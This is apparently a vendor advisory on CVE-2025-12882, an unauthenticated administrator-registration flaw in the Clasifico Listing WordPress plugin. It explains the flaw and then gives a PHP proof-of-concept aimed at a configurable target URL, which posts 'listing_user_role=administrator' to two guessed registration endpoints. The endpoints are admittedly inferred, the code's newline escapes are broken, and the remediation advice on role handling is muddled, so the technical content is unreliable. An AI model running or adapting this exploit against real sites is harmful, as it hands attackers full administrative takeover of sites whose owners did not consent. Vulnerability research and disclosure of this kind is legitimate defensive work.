Atomic Edge analysis of CVE-2025-12882 (metadata-based):
The Clasifico Listing plugin for WordPress, version 2.0 and earlier, contains an unauthenticated privilege escalation vulnerability. This vulnerability allows any unauthenticated user to register an account with administrator privileges by manipulating a registration parameter. The CVSS 3.1 score of 9.8 (Critical) reflects the attack’s network-based nature, low complexity, and complete compromise of confidentiality, integrity, and availability.
Atomic Edge research indicates the root cause is improper privilege management (CWE-269) within the user registration function. The plugin likely processes registration requests via a WordPress hook (such as wp_ajax_nopriv or a custom registration endpoint) and directly accepts a user-supplied ‘listing_user_role’ parameter without validation. This parameter is then passed to WordPress user creation functions like wp_insert_user() or wp_create_user(), allowing the attacker to set arbitrary roles. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires sending a crafted HTTP request to the plugin’s registration endpoint. The exact endpoint is not specified in the metadata, but WordPress plugin patterns suggest two likely vectors. The first is a custom AJAX handler at /wp-admin/admin-ajax.php with an action parameter like ‘clasifico_listing_register’. The second is a custom REST API endpoint at /wp-json/clasifico/v1/register. The attacker would send a POST request containing standard registration fields (username, email, password) plus the malicious parameter ‘listing_user_role’ set to ‘administrator’. No authentication or nonce is required.
Effective remediation requires removing client control over the role assignment. The plugin must assign a default, low-privilege role (like ‘subscriber’) during registration. The fix should also implement server-side validation to reject any registration request containing a role parameter. WordPress core functions like add_user_meta() or update_user_meta() should only be called with hard-coded, safe role values. A capability check (current_user_can(‘create_users’)) would also prevent unauthorized role assignment but would not fully address unauthenticated registration flaws.
Successful exploitation grants an unauthenticated attacker full administrative access to the WordPress site. This enables complete site takeover, including the creation and deletion of any content, installation of malicious plugins or themes, defacement, data exfiltration, and server-side code execution via plugin/theme editors or arbitrary file uploads. The attacker can also lock out legitimate administrators, establish persistent backdoors, and use the compromised site for further attacks.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12882 - Clasifico Listing <= 2.0 - Unauthenticated Privilege Escalation
<?php
/**
* Proof of Concept for CVE-2025-12882.
* This script attempts to exploit the privilege escalation vulnerability by registering a new user with the 'administrator' role.
* The exact endpoint is inferred from common WordPress plugin patterns, as the vulnerable code is not publicly available.
*/
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
// Attempt two common WordPress plugin registration patterns.
// Pattern 1: AJAX endpoint (most common for front-end user actions)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = [
'action' => 'clasifico_listing_register', // Inferred action name based on plugin slug
'username' => 'atomic_edge_admin_' . rand(1000,9999),
'email' => 'atomic_edge_' . rand(1000,9999) . '@example.com',
'password' => 'AtomicEdgeP0C!',
'listing_user_role' => 'administrator' // The malicious parameter
];
// Pattern 2: REST API endpoint (common in newer plugins)
$rest_url = $target_url . '/wp-json/clasifico/v1/register';
$rest_data = [
'username' => 'atomic_edge_admin_' . rand(1000,9999),
'email' => 'atomic_edge_' . rand(1000,9999) . '@example.com',
'password' => 'AtomicEdgeP0C!',
'listing_user_role' => 'administrator'
];
function send_request($url, $data) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'body' => $response];
}
echo "[*] Attempting exploitation via AJAX endpoint...n";
$result1 = send_request($ajax_url, $ajax_data);
echo " HTTP Code: " . $result1['code'] . "n";
echo " Response: " . substr($result1['body'], 0, 200) . "nn";
if ($result1['code'] == 200 && (strpos($result1['body'], 'success') !== false || strpos($result1['body'], 'user_id') !== false)) {
echo "[+] AJAX endpoint may be vulnerable. Check for user creation: " . $ajax_data['username'] . "n";
} else {
echo "[-] AJAX endpoint may not be vulnerable or uses a different action name.n";
}
echo "[*] Attempting exploitation via REST API endpoint...n";
$result2 = send_request($rest_url, $rest_data);
echo " HTTP Code: " . $result2['code'] . "n";
echo " Response: " . substr($result2['body'], 0, 200) . "nn";
if ($result2['code'] == 200 || $result2['code'] == 201) {
echo "[+] REST endpoint may be vulnerable. Check for user creation: " . $rest_data['username'] . "n";
} else {
echo "[-] REST endpoint may not be vulnerable or uses a different path.n";
}
echo "n[*] Note: This PoC is based on inferred endpoints. Actual exploitation may require adjusting the action name or endpoint path.n";
?>
